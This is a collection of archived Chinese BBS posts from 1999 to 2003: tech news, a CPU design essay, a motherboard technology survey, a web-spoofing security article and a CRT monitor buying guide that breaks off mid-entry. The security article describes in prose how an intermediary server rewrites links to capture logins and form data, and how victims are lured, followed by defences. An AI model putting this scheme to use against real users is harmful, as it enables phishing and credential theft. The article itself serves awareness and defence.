-------------------------------------------------------------------------------- [返回上一页] [本讨论区]
发信人: lwp (飞机的lamp), 信区: Network 标 题: 微软同台湾宽带互联网服务提供商签定合作协议 发信站: 日月光华站 (Tue Nov 16 09:19:23 1999) , 转信 　　台湾宽带互联网提供商技嘉媒体(技嘉媒体)同软件业巨头微软公司上周五达成在台 湾联合提供宽带互联网服务的协议。 　　技嘉媒体公司表示，该协议的达成将促使两家公司在宽带门户网站和购物频道的创 建、运营等方面开展一系列合作。双方表示，这一合作将凭借台湾媒体管制放开后有线 电视公司和自由电视频道近十年来 该 崛起的优势，在台湾营造起一个数字王国。 　　在协议条款下，微软和技嘉媒体将在门户网站方面更加紧密合作，微软初步决定在 其台湾门户网站使用技嘉媒体网站的内容，两家公司将合作开发一个宽带版的MSN门户网 站，其中包括电子邮件(Hotmail)、信使(Messenger)、社区，搜索以及新购物频道等在 内的MSN核心服务，这一宽带门户将基于微软为技嘉媒体现有服务提供主要支持的MCIS服 务器技术。为帮助加快新服务的启动，微软还将向技嘉媒体投资，尽管微软没有透露投 资的具体情况，但有一些台湾媒体报道投资的金额将达3150万美元。 ChinaByte -- 见了mm就灵感大发 港台歌曲唱的全是废话
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Lleyton (夹心巧克力), 信区: Hardware 标 题: 软硬结合的CPU 发信站: 日月光华 (2003年04月05日18:43:21 星期六) http://news.onlinedown.net/info/5282.htm 看过多篇关于发展我国CPU的专家文章后，我再三考虑之后决定写这篇文章发表一点（我也 思考多年的CPU方案）谬论——软硬结合的CPU思路。 CPU发展到现在已经是即将从32位转向64位的关键时期，我们豪杰公司是纯正的软件公司， 一直从事与CPU十分有关的软件优化的开发，所以对CPU的理解也是从软件的出发点为出发 点来看待国产CPU的问题。CPU有两个重点：（1）性能问题。（2）兼容性问题。这两个问 题是互相关联的，兼容性问题往往会增加CPU的复杂度，从而下降CPU的性能。有没有两全 其美的方法呢？ 本人的看法是：有。那就是“软硬结合的CPU”，这种CPU被一分为二。一部分为真实硬件 CPU，另一部分是软CPU技术。硬CPU部分专攻高性能、高速度的问题，软CPU部分专攻体系 的兼容性的复杂的问题。 一个有市场潜力的CPU是有高性能的计算能力，也有对“X86兼容”性的“包袱”问题，不 过这个“包袱”是一个巨大的“钱包”，为什么不背呢？我认为专用的CPU不会长久的，越 有“包袱”越有市场，越能长久，这一点没有必要进行证明了。 过去CPU有RISC和CISC之争，争论的焦点在“指令集”上，而真正的赢家是高性的、兼容的 X86系列。目前Intel已经把技术的重点放于IA—64之上，在64位的计算上市场的竞争也是 才开始，众多的CPU厂商还在逐鹿之中，还未知胜于谁手。在这一点上我国是有机会的，3 2位、16位或8位巳成残羹剩饭。64位的体系结构及指令集都会是全新的，没有多少市场的 惯性，这是重要的机会。另外，在64位中可以直接使用最新的技术成果，如VLIW、动态执 行、铜芯技术、纳米技术等等最新技术，在这些方面也容易产生自己的新专利，32位的CP U上巳没有什么可以挖的地方了，在32位以下的CPU上投下赌注是注定要失败的，而在64位 上投下力量却有巨大的机会获胜。 如何兼容？ 在IA—64中是用嵌入IA—64中的“微软件”来解决对X86的兼容问题的。在国外使用“软件 技术”的CPU还不止Intel一家，有一家叫“Transmedia”的公司也在用这种技术来做兼容 X86的CPU，而且是低功耗的。 如果在64位的计算上能做到2G以上的计算速度，用高性能的“软件技术”就可以达到1.5G 以上的兼容的64位体系，用在兼容X86之上可以有3G以上的计算性能。 软件技术如何能达到这样的性能呢？ 软件技术与CPU技术一样，在CPU的技术方向已经从第一代的单指令的边续处理到第二代的 流水线技术，再到第三代的并行流水线技术，又到动态执行的多流水线技术。今天的CPU内 部更象是一个庞大的软件系统。实际上当今的CPU设计几乎就是软件的设计过程。 软件CPU技术在目前还处在第一代单指令连续处理的阶段，即一条一条地处理指令，这是低 效率、低性能的，所以第一代的软件CPU也仅仅称为“虚拟机”而巳，如Java虚拟，PC虚拟 机等等；效率为真实机器性能的1%以下，这样的技术不可能用于CPU之上。 软件CPU技术的最新方法就是与第四代CPU技术差不多的“动态执行”技术，它可以取得与 硬件CPU性能的80%左右，好的算法可以达到90%以上，这样的“软件CPU”技术用高速的硬 件CPU上就会带来巨大的变化。 变化之一： CPU的硬件不必为软件的兼容总问题而花费心机，也不必太在意CPU的具体应用的软件环境 问题，专心提高性能，降低功耗即可。 变化之二： CPU的硬件不必再设计复杂的指令体系，而把精力集中在高速的硬指令之上，进一步减小电 路元件的单元，有利于大幅提高CPU的工作频率和降低功耗。 变化之三： 直接使用最先进的CPU特殊技术，如铜芯技术、纳米技术，使CPU有很高的工作能力，在设 计和制造上可以大幅创造专利，而不必太费精力于过去的专利问题。 变化之四： CPU的具体实现时不再需要考虑到软件体系的问题，从而可以不断地依“代”的需要而改变 设计，甚至改变基本的硬指令方式，有利于快速升级换代。 变化之五： CPU上不再有巨大的技术壁垒，有利于竞争、多种物理体系并存，在中国才会有机会产生可 以与Intel相比的技术巨子。 等等；总之把CPU一分为二之后许多过去的难题将会迎刃而解。 软硬结合的CPU体系： 可以如图，在硬件CPU之上执行着“软件CPU”系统，“软件CPU”可以运行在主机内存或专 用的Cache之中，在主机内存中的程序及数据都会被“软CPU”来处理，即“硬CPU”的指令 执行不会超出“软CPU”的空间，这也十分有利于物理的设计，即“硬CPU”的Cache的方法 不必与目前的X86那样来进行，它甚至可以由“软CPU”来处理，这样就减少了Cache的设计 专利的涉及问题，同时又会产生许多新的专利。 “软CPU”除了可以做到与X86兼容外，也可以兼容其他的指令集，甚至扩充成专门定义新 指令集也不困难。 “软CPU”是由软件来设计的，它被对象化之后，就可以同时处理“多个软CPU”的功能， 即有如现在最新的奔腾4多线程CPU技术一样，一个CPU在软件的应用上看上去象两个CPU在 运行。这些技术用物理电路来做是太难了，所以“软件CPU”的优势就体现出来了。国际上 的最新CPU技术就可以轻易地达到，这是软件的优势。 另一方面“硬CPU”部分只专心于CPU的速度及性能、功耗等等物理问题，阻碍我国CPU发展 的指令集及专利将大为减少，我国的许多专用的特殊的技术也会应用起来。 北京世纪豪杰计算机技术有限公司 董事长 梁肇新 -- This is when you go out and find life ...and all those other things. ※ 来源:·日月光华 bbs.fudan.edu.cn·HTTP [FROM: 10.100.135.73] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 泛谈99最新主板新技术 发信站: 日月光华站 (Tue Jun 29 23:31:37 1999) , 转信 （转自飞翔鸟硬件资讯站 birds.bta.net.cn） 　　作者：苏旅 　　纵观当今电脑主板设计业，不少主板厂商在保证其产品质量稳定，速 度均衡的同时，也在积极探索其他技术上的突破，并由此研制出不少具有 特色功能的产品，这不但使主板技术发展到一个新的阶段，而且也方便了 广大DIYer对电脑的使用和维护。 　　下面本人就99年最新上市的主板所用新技术详细介绍一下并谈谈自己 的一些使用感受：(由于考虑到目前市场上主流主板的占有率以及技术成 熟情况，以下介绍将以SLOT1Intel BX主板所用技术为主，兼顾VIA，SIS等 厂商) 一， 主板速度的进一步提升： 　　这方面主要体现在主板外频的增加，众所周知，Intel BX主板以100 MHZ为其最大卖点，而不少主板厂商又标榜其产品能上133MHZ外频（虽然 能顺利超到133MHZ的主板少而又少）。为了进一步挖掘产品潜力，不甘寂 寞的主板厂商再次向高频技术进军（类似CPU？），如今，采用最新外频发 生器和改良性芯片的150MHZ或更高外频的主板已经上市，像华硕、微星等 主板产商都已推出其高频产品。 　　不过笔者认为，要求主板能在150MHZ稳定工作，不但对主板自身是一 种严峻考验，而且对周边设备如CPU，内存等要求也实在不低！虽然有了所 谓“四分频”技术保证总线速度能稳定运行，但是对于大多数主板来说， 在现阶段稳定上150MHZ仍是一种不切实际的做法。 　　在长期使用过程中笔者发现，不少厂商所标榜的150MHZ外频主板其实 大多只能稳定工作在133MHZ，这样做实际上是对应将来的点18微米技术的 PIII处理器，而某些主板能上稳定150MHZ外频，其实也不过是利用周边设 备（如内存，显卡）的稳定并对主板做了针对性“再改造”：)，其实在 现阶段，主板能稳定上133MHZ已属不易，何必再强求那多余的性能要求 而虐待自己的内存、CPU呢？ 　　所以笔者认为，150MHZ实属前卫频率，在当前PIII还未流行的时期， 还是用好自己的112MHZ或124MHZ吧。：) 二， 主板易用性和稳定能力的进一步挖掘： 　　这里为什么要把“易用性和稳定能力”谈到一起呢？不知大家有没有 发现这样一个新情况，今年以来出现的大多数新型BX主板都采用了免跳线 设计(就连有"跳线卫道士"之称的华硕公司都推出了免跳线BIOS修改技术。 免跳线设计不但方便了对主板BIOS的系统调节，而且也满足了广大DIYer简 易超频要求，有的甚至还能在超频死机后通过键盘快捷键重新开机。 　　虽然免跳线技术不是才出现的新技术，但它的重要之处在于：它为“ CPU核心电压可调"等超频功能打下了良好基础，所谓"CPU核心电压可调” 是指对SLOT1型CPU的自动核心电压进行人工调整提高CPU核心电压，从而 使超频CPU能够稳定工作，其实"CPU核心电压可调"也不是什么高新技术， 只不过是将在SLOT1主板上原本由主板识别的制定电压权限交给DIYer。 　　这样人为设定的功能像以前的Socket7和Super7主板都能实现，但是为 了突破Intel自动设定SLOT1型CPU核心电压的技术，服务于超频需要(这才 是问题关键所在)，各大厂商于是纷纷推出带"CPU核心电压可调"技术的主 板，除了元老级升技BX系列主板外，微星的MSI6163，梅捷的SY-6BA3，精 英P6BXT-A+(Rev.1.2)，AopenAX6BC(Rev.2.10)等主板都加入了核心电压 手动可调技术。 　　而在PC MAGAZINE获奖的钻石主板P2BXL更是增加由主板智能调整超 频CPU核心电压功能，既保证了系统稳定，又榨取了额外性能。看来厂商 这种自发DIY精神的确可嘉! 　　不过话又说回来，这种无止境的超频功能，一方面固然方便了广大 DIYer，另外一方面也损害了CPU厂商(特别是Intel)和其他硬件厂商的利 益!试想这样泛滥超频，必然会对Intel高端市场给予一定的冲击(超频C300 A正是一例)，而由于超频不甚而导致的主板外设损坏，也引起了不少的服 务纠纷。(某些主板对核心电压的调整甚至采用无限制的功能)。 　　从另外一方面来说，这种超频辅助技术的大量运用，反映的是在市场 竞争的压力下，各主板厂商为占领市场而迎合消费者心理，加大科技投入， 积极进取的结果(其实也有一定的"被迫"因素)。不管怎么说，其实最大的 受益者还是广大DIYer，只要是适可而止的使用超频技术，就可获得不小 的额外性能，何乐而不为呢？ 三， 温控监测技术的进一步扩展： 　　采用温控监测软件对主板和相关设备进行维护，这样诸如“温度/电 压/转速”的基本功能在TX主板时代就早已实现，而最新的主板技术中又 增加了诸如"CMOS电池监控"，"第二设备温度监控"(像微星，升技等主板 附送的"热敏电阻温控线")等功能，配合Windows9X系统下相关软件，进一 步完善了电脑设备的安保工作。 　　此外像技嘉的6BX2000主板，采用的是ACOPS98技术，不需要软件配合 即可自动监控，也算是独家特色了。厂商这样处心积虑的为DIYer着想， 不过是为了保证其产品的稳定性(像这类监控软件正好运用于调整电压的 超频CPU上)。但归根结底还是为了自身的利益。而对于狂热的DIYer来 说：“一切为了超频需要!”(谁说的？：))，也就算是不用白不用吧⋯⋯ 四， 防病毒趋势的进一步发展： 　　这一段时间一提到病毒，大家肯定都会想起不久前的"CIH大劫难"， 在4月26号那天，不少未经防护的电脑瘫痪，其主板BIOS惨遭清洗，硬盘 一无所有。好在各大主板厂商并未大乱阵脚，迅速推出或升级了一系列的 主板防毒特别是防CIH的功能，如华硕，钻石等主板的BIOS写入保护功能， 以及一些主板上的BIOS固化反CIH病毒功能等。 　　值得提出的是，技嘉公司的最新主力6BX2000主板采用了双BIOS芯片 技术，以备份的形式防止CIH以及类似病毒的侵袭。使BIOS被摧毁的可能 性降到最低点，这无疑比单纯防范技术又更上一层楼。不过有得必有失， 双BIOS主板虽然安全了，但让DIYer自由改变诸如BIOS启动画面等功能就 受到了一定的限制。当然，着眼大局，双BIOS还是比较安全的。 　　其他的诸如Trend Boot Anti-Virus功能就不用多说了。此外，某些 厂商在销售主板时还附赠趋势，诺顿，VRV等防病毒软件，对系统安全也 起到了一定的保护作用。看来主板技术的发展越来越趋向"大而全"的形式 了。 五， ACPI功能的进一步增强： 　　电源管理规范ACPI功能虽然在TX主板时代就已经开始实现，不过其真 正意义上的发挥还是在STD和STR技术出现以后，所谓STD就是Suspend to Disk的缩写，意思是"挂起到硬盘"，其具体过程是将系统(Win98)运行时 的当时状态和相关系统信息保存到碟片(硬盘)上，此时系统耗能极小，再 次开机时可省去大量的系统自检和启动时间，从而迅速恢复到关机前的状 态。 　　例如早期的Aopen和技嘉的TX系列即有此功能。而STR也就是Suspend to RAM，即将存储环境由Disk转向了RAM，这种方法较STD更快速稳定，耗 能更小。所以在目前被不少厂商所采用，像建邦的P6BX-A和技嘉6BX2000 等都含有这项功能，在网络信息时代快速发展的今天，这项功能的推出是 具有一定的意义的。 　　首先，它满足了人们对PC机快速启动瞬间开机的需要，其次，它的“ 低耗能高效率”满足了今后人们利用网络PC机来进行快速远程控制，监控 和发送传真的要求。这项技术的出现，巩固并扩展了Win98的ACPI On Now! 功能。其利用范围是十分广泛的。 　　不过，STR技术对系统硬件的要求也比较高，比如主板BIOS必须符合 ACPI(BX都支持)而且要对STR进行过专门开发。二是相关扩展卡(如显卡， 网卡，Modem卡)必须要支持STR功能(这个嘛⋯⋯好像没听厂商怎么提 起)，三是软件操作系统必须支持(如Win98就支持，不过要进行更新调试 以支持STR)。看来STR的实现还是要经过一定的努力的。 　　好在现在的硬件软件功能都还支持STR。自我感觉，这样实际的功能 比起那劳什子的主板超级150MHZ外频要现实得多。 六， 主板外设UDMA66功能的支持： 　　采用最新BX芯片的主板改正了原有芯片的一些问题，如ACPI的修正和 对PCI的更好支持，不过其并没有加入UDMA66这个最具人气的功能，UDMA66 技术对硬盘的速度特别是CPU占用率有一定的改进，其原理相信不少杂志早 已介绍过。 　　而BX新版由于技术缘故并没有加入这项"花俏功能"，这不能不说是一 个遗憾，反观VIA，SIS等厂商却早已推出含有这项功能的主板，自然在主 板销售上就多了一个卖点。不过根据不少媒体的测试，如今的UDMA66功能 尚不尽如人意，有的测试下来竟然还不敌UDMA33。看来这项技术还不是那 么完善，DIYer就只能再次等待Intel了。 七， 主板设计布局的进一步发展： 　　进入99年，主板产品的设计布局也有一定的变化，首先由于PC99认证 规定：电脑主板的设计必须要具人性化，所以不少主板均采用了彩色接口 识别方式使得识别各种主板接口更加容易，看来不光是原装机，连兼容机 主板接口都有彩色了。其次由于USB设备开始上市及PCI接口卡的大量运用， 某些主板上甚至出现了4USB接口和6PCI插槽。 　　不过个人感觉现有的2USB和5PCI早已足够，先不说能够连接一百二十 多个设备的USB接口对一般DIYer早已够用，光是5个PCI插槽就已经有多， 某些人说的“升级扩充性理论”到现在优势都没能发挥出来了。此外，PCI 插槽数量对主板芯片也有一定要求，超过了就有一定限制，所以不能片面 追求扩充性。 　　当然，ISA的淘汰和PCI的普及是必然的，所以面对这种情况我们必须 理智的对待。另外，面对现在的SLOT1和Socket370格局的分化问题，某些 主板厂商也提供一些解决方案，如精英的P6BXT-A+采用了双插槽技术，既 能支持SOCKET370又能支持SLOT1系列的CPU，个人认为这种设计方式具有一 定的新意，不过SLOT1主板接块370转接卡也能达到目的。 　　目前主板业还出现了这样一种趋势，即搭配声卡主板的大量上市，像 微星MSI6163、精英的P6BXT-A+等主板都固化了创新声卡，有的甚至还有显 卡，内存固化的，颇有点像当年的CyrixGX板，此外Intel最新推出的810芯 片主板等整合型主板产品也大量出现，除声卡显卡固化外还有所谓ARM升级 软Modem技术，让人感觉到低端主板市场的潜力巨大。 　　不过这类主板由于整合性能实在一般，比不上DIYer们的高级货色，所 以大部分只能供OEM家庭及商业用，这对于许多狂热的DIYer来说，是没有 什么吸引力的！其它的诸如MINI ATX等主板结构技术，由于改进不大，在 此就不多叙述了。 八， 其他杂项功能： 　　一些新增功能诸如PCI2。2，Super2AGP，PDM，板载指示灯等新增技术 由于作用不大或未能成熟这里就不再多说了。不过在购买主板时一定要注 意：您所选购的主板是否完全通过了Y2K千年虫测试(包括三项时间测试)？ 以免买回来出现不必要的问题。 　　综观当今电脑主板市场，早已进入了各路诸侯互相厮杀，各自为王的 战国年代，因而各厂商纷纷加大了开发研制，上市宣传的力度。目前，主 板(主要指的是SLOT1型)发展总的趋势是：Intel芯片组主板仍据龙头老大 地位，而SIS，VIA等厂商在奋起直追。主板发展以求稳定突新意为主，而 片面追求速度的做法已经不再成为最大卖点。 　　面对当今这错综复杂的主板市场，各位DIYer该如何评鉴选购一款各方 面都比较优秀的主板呢？只有在了解一定主板市场情况的基础上，认准主 板质量，抓住其关键实用功能所在，不为其花俏功能所干扰，再加上对本 文一些技术介绍的一定了解，相信作为DIYer的您，一定会有所得的! 　　本文所述主板新技术，只是针对目前市面上主流芯片及主流品牌主板 而谈，由于时间匆忙，难免有疏忽遗漏之处，如有任何不足，还请各位精 英级DIYer多多指教，共同进步！ （笔者主页地址：http：//sulv.yeah.net）。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.129] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Internet精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Rosan (冰), 信区: Internet 标 题: 网站浏览安全 发信站: 日月光华站 (Fri Apr 13 09:17:54 2001) , 站内信件 ◇⋯⋯网站浏览安全细细谈 　　原作者: 罗务宏 摘自：比特网-电脑软件 第47期 　　Web欺骗是一种具有相当危险性且不易被察觉的黑客攻击手法，一般意义上讲，也就 是针对浏览网页的个人用户进行欺骗，非法获取或者破坏个人用户的隐私和数据资料。 它危及到普通Web浏览器用户，包括Netscape Navigator用户和Microsoft Internet Ex plorer用户。 　　一、欺骗手法 　　攻击者如果想进行Web欺骗就，离不开Web服务器的支持，所以绝大多数情况下，他 们在受攻击者和Web服务器之间设立起攻击者自己的Web服务器，这种攻击种类在安全问 题中称为“来自中间的攻击”。用户浏览器和真正的服务器之间的数据交换并非是直接 的，会被攻击者的服务器截获并处理。利用中间服务器进行行骗，就像罪犯驾驶着盗窃 来的警车去“执行公务”，因此相当隐蔽。对于被攻击用户，几乎是不知不觉的，因为 他们仍然可以自由登录、链接到该网站的所有页面。对于攻击者而言，在偷偷监视截取 信息的同时，也能以受攻击者的名义发送数据到真正的Web服务器，包括以服务器的名义 发送数据给受攻击者。 　　当用户访问某个这样的站点并进行合理的活动时，可能面对的并不是真实的目标网 站，而只是一个攻击者营造的真实站点的翻版，或者说虚拟的镜像，它们之间如此雷同 并不会让我们感到潜在的威胁，而此时你的所有注册信息和登录账号口令，甚至一切活 动，就源源不断地从这个镜像的入口进入到攻击者控制着的Web服务器。攻击者可以监视 、记录、修改所有信息并进行破坏活动。 　　例如，在线填写表单时，填入表单的用户密码账号等信息将被获取，从而泄密。在 访问网上银行时，你可能根据你所见的银行Web页面，从该行的账户中提取或存入一定数 量的存款。因为你相信你所访问的Web页面就是你所需要的银行的Web页面。无论是页面 的外观布局、图片标识、链接地址，文字内容还是其它一些相关内容，都让你感到非常 熟悉，没有理由不相信。但是，你确实是处在攻击者建立的伪造页面中。 　　二、实施过程 　　1.诱使用户进入攻击者控制的中间服务器 　　攻击者在Web服务器需要提供关于某个Web站点的错误Web页面时，他只需要在自己的 服务器上建立一个该站点的拷贝，而不必存储整个真实服务器站点的内容，然后改写这 个拷贝中所有的链接获得真实服务器上的所有页面镜像。 　　首先，攻击者改写拷贝中所有链接地址(URL)，使它们指向了攻击者的服务器而不是 真正的服务器。假定攻击者所处的Web服务器是www.???.com，攻击者通过在所有链接前 增加www.???.com来改写URL。例如，abc.efg.com将变为www.???.com/ abc.efg.com。当 用户点击改写过的abc.efg.com，进入的确是：www.???.com，然后由该中间服务器向ab c.efg.com发出请求并获得真正的文档，然后改写文档中的所有链接，最后经过http:// www.???.com返回给用户的浏览器。 　　可见，用户通过改写后的链接登录目标站点时，实际上先是经由中间服务器，然后 才向目标服务器请求文档，而目标服务器返回的文档必须经由中间服务器，改写所有链 接后才传回给用户浏览器。很显然，修改过的文档中的所有URL都指向了www.???.com， 当用户点击任何一个链接都会直接进入这个页面，而不会直接进入真正的网站。只要用 户由此进入其它网页，那么他们是永远不会摆脱掉受攻击的可能的。 　　伪造网页中的表单，如果被填写就构成了表单欺骗，同样神不知鬼不觉。表单的确 定信息被编码到链接地址行中，内容会以HTML形式返回。前面讲到，所有页面的URL都已 经被改写，那么表单欺骗将是很自然的事情了。 　　当受攻击者提交表单后，所提交的数据进入了攻击者的服务器。攻击者的服务器能 够观察，甚至是修改所提交的数据。同样地，在得到真正的服务器返回信息后，攻击者 将向受攻击者返回信息。 　　2.发布欺骗页 　　Web攻击者必须设法引诱用户去访问并点击他设定的Web陷阱，黑客往往使用下面几 种方法： 　　(1)把错误的Web链接放到一个热门Web站点上； 　　(2)如果受攻击者使用基于HTML的邮件，通过电子邮件发送伪造的Web页面给用户； 　　(3)创建错误的Web索引，指示给搜索引擎； 　　(4)在网络公众场合，如BBS、OICQ，论坛或聊天室散播包含错误链接的网站网址。 　　三、如何防范 　　1.对于个人用户 　　(1)查看源文件 　　攻击者并不是不留丝毫痕迹，HTML源文件会使这种欺骗暴露无遗。通过点击鼠标右 键或者在浏览器中点击菜单“查看”�“源文件”，用户可以阅读当前的HTML源文件。 可以发现当前页URL地址的信息并同网页上的真实地址相对照，你能够发现被改写的URL ，因此可以觉察到危险。 　　例如，你收到一封263邮局的HTML格式信件，查看源文件，根据前面的介绍，很容易 发现是否有伪造的痕迹。 　　因此，建议不要通过来历不明的Web站点登录安全站点，如通过某个个人站点登录2 63服务器。对于搜索引擎或从其它场合得到的站点，应仔细甄别，防止受骗。 　　(2)禁止浏览器中的JavaScript功能 　　各类攻击者的服务器，页面都包含大量的JavaScript脚本以实现其不可告人的目的 ，此时可将JavaScript功能禁止或者改为使用前提示。 　　方法是：在IE浏览器中，点击菜单“工具”�“Internet选项”，切换到“安全” 选项卡�“自定义级别”，弹出“安全设置”框，在里面对JavaScript功能选择“禁止 ”。 　　(3)确保浏览器的连接提示状态可见，它会给你提供当前位置的各类信息； 　　(4)仔细观察你所点击的URL链接，一般会在状态栏中或地址栏得到正确的显示。 　　2.对于服务器 　　个人用户对于服务器端是无能为力的，此处我们仅给大家提供一些服务器端安全预 防措施，希望会给个人站点的管理者一些有益的提示。 　　Web服务器端安全预防措施：限制在Web服务器开账户，定期删除一些久不登录的用 户；对在Web服务器上开的账户，对注册用户口令长度作出要求并提示定期更改，防止被 盗用造成隐患；尽量使Ftp, Mail等服务器与Web服务器分开；定期查看服务器中的日志 文件，分析一切可疑事件；设置好Web服务器上系统文件的权限和属性；不要把Web服务 器与FTP目录指在同一目录；必要时限制访问用户IP或DNS；如果采用CGI程序，应放在独 立于HTML存放目录之外的CGI-BIN下；在用C来编写CGI程序时尽量少用popen()、system ()和所有涉及/bin/sh的shell命令。 　　此外，编译语言(CGI、PERL等)比解释语言(PHP、JSP等)更安全。至于许多Web服务 器本身都存在的一些安全漏洞，不是本文探讨的范畴，有兴趣的读者可参阅相关资料。 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.76.120.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 显示设备综述——产品篇 发信站: 日月光华站 (Tue Dec 7 20:58:33 1999) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) （暂时只限于CRT显示器） 购买电脑的人群中，对显示器性能有特殊要求的并不多，大部分 人会选择主流显示器。那么时下的主流显示器是哪些呢？让我们看 看。 　 主流显示器 讨论主流显示器，先要搞清楚主流显示器的范围，昂贵的液晶显 示器当然不能算主流，我们要谈的，肯定是最常见的CRT显示器，即 阴极射线管显示器。定了大方向，其它的就好说了，主流显示器的特 征无外乎可以从这么几个方面来分析：屏幕尺寸、性能指标和购买价 格。 屏幕尺寸。这一方面不用费太多口舌。现在电脑市场上14英寸的 显示器已经很难找了，15英寸的显示器所占的比例也越来越少，而17 英寸显示器正逐渐成为主力军，其价位已经比较容易被接受，而且进 一步降价是必然的事情。如果你能承受，完全应当直接考虑选择一台 17英寸的显示器，如果实在预算紧张，15英寸的显示器也未必不是好 的选择。 性能指标。这个标题大了些，可以细分成不少具体方面。 1.显示器表面构造。这是由显示器所采用的显象管决定的。球面管 显示器已经被淘汰，目前市场上的主流应该是平面直角显示器和 柱面显示器，最先进的当然是刚问世没多少时间的纯平面显示 器，或者叫完全平面显示器，但大多数此类显示器仍比较昂贵， 只有少数的价格跌进了主流显示器的圈子。 2.点距。点距越小显示器画面就越清晰自然。现在大多数主流显示 器仍然是0.28mm，不少0.26mm、0.25mm甚至更小点距的显示器 也纷纷成为主流，提供了更好的选择。 3.分辨率、垂直刷新频率。把这两个性能放在一块是因为它们是相 辅相成的。目前主流显示器至少应当能达到垂直刷新频率85Hz 下，分辨率1024*768的水平，最高分辨率至少应为1280*1024 （垂直刷新频率60Hz下）。这个要求可以说一点儿也不高。 4.带宽。这是衡量显示器综合性能的最直接的重要指标。主流显示 器带宽至少应该能达到80MHz，能上到100MHz或110MHz以上则更 好。 5.辐射及环保标准。主流显示器都能达到MPRII标准，大多数也都 应该具备TCO95标准，鉴于对健康的影响，能达到TCO99标准当然 更好。省电节能方面，能满足EPA能源之星绿色标准是主流显示 器的必须指标，当然，现在显示器没达到这个标准的已经不常见 了。 6.其他方面。象可视面积越大、输入接口、调控方式及调节功能越 多等等，对于主流非主流显示器的划分，影响不大，看个人选择 了。 购买价格。价格也许是决定主流显示器范围最直接的因素了。15 英寸显示器普通管1500元左右、柱面管（特丽珑、钻石珑）2000元以 下，17英寸显示器普通管2500元以下、柱面管3000元以下、高档柱面 管和完全平面显示器4000元以下，都应当算是主流显示器，也是目前 电脑市场上正当卖的显示器。 　 主流15及17英寸显示器推荐 15英寸显示器： 飞利浦105A 价格1500元 飞利浦105A性能参数：带宽79MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 飞利浦105A特性评述：合TCO92标准。 　 飞利浦105G 价格1600元。 飞利浦105G性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.27mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 飞利浦105G特性评述：符合TCO99标准。XSD超空间设计，机身深 度仅379mm。可选多媒体及USB底座。 　 三星550S 价格1380元。 三星550S性能参数：带宽80MHz，最高分辨率1024*768@75Hz， 建议分辨率800*600@85Hz，点距0.28mm，水平扫描频率30-61KHz， 垂直扫描频率50-120Hz。 三星550S特性评述：可选TCO95标准。 　 三星550B 价格1580元。 三星550B性能参数：带宽110MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 三星550B特性评述：可选TCO95标准。半透明中文OSD菜单。 　 ACER 57C 价格1450元。 ACER 57C性能参数：带宽110MHz，最高分辨率 1280*1024@66Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率50-120Hz。 ACER 57C特性评述：可选TCO95标准。细颈显象管，动态聚焦， 5组色温调节。 　 美格XJ500T 价格1950元。采用索尼特丽珑显象管。 美格XJ500T性能参数：带宽80MHz，最高分辨率 1280*1024@65Hz，建议分辨率1024*768@85Hz，点距0.25mm，水平扫 描频率30-70KHz，垂直扫描频率50-120Hz。 美格XJ500T特性评述：符合TCO95标准。飞梭单键。 　 17英寸显示器： 爱国者700A 价格1880元。 爱国者700A性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率55-120Hz。 爱国者700A特性评述：高性价比。 　 爱国者700A plus 价格1999元。 爱国者700A plus性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.27mm，水平扫 描频率30-70KHz，垂直扫描频率55-120Hz。 爱国者700A plus特性评述：高性价比。 　 飞利浦107G 价格2480元。 飞利浦107G性能参数：带宽108MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.27mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 飞利浦107G特性评述：符合TCO99标准。XSD超空间设计，机身深 度仅408mm。可选多媒体及USB底座。 　 三星750S 价格2480元。 三星750S性能参数：带宽110MHz，最高分辨率 1280*1024@60Hz，建议分辨率1024*768@85Hz，点距0.28mm，水平扫 描频率30-70KHz，垂直扫描频率50-160Hz。 三星750S特性评述：可选TCO95标准。半透明中文OSD菜单。 　 LG 775N 价格2380元。 LG 775N性能参数：带宽110MHz，最高分辨率1280*1024@60Hz， 建议分辨率1024*768@85Hz，点距0.27mm，水平扫描频率30-70KHz， 垂直扫描频率50-160Hz。 LG 775N特性评述：菜单调节功能丰富，清晰度不错。 　 LG 795FT+ 价格3900元。 LG 795FT+性能参数：带宽203MHz，最高分辨率 1600*1200@75Hz，建议分辨率1280*1024@85Hz，点距0.24mm，水平 扫描频率30-96KHz，垂直扫描频率50-160Hz。 LG 795FT+特性评述：符合TCO99标准。完全平面显示器，是最 便宜的完全平面显示器，但性能不错，超值性价比，属于高档显示 器。 　 ADI 5PM 价格2580。采用日立蓝色星钻超黑增强显象管。 ADI 5PM性能参数：带宽108MHz，最高分辨率1280*1024@60Hz， 建议分辨率1024*768@85Hz，点距0.28mm，水平扫描频率30-69KHz， 垂直扫描频率50-160Hz。 ADI 5PM特性评述：可选TCO95标准。文本图像清晰度都不错。 　 华胜K7034 价格2750元。 华胜K7034性能参数：带宽135MHz，最高分辨率 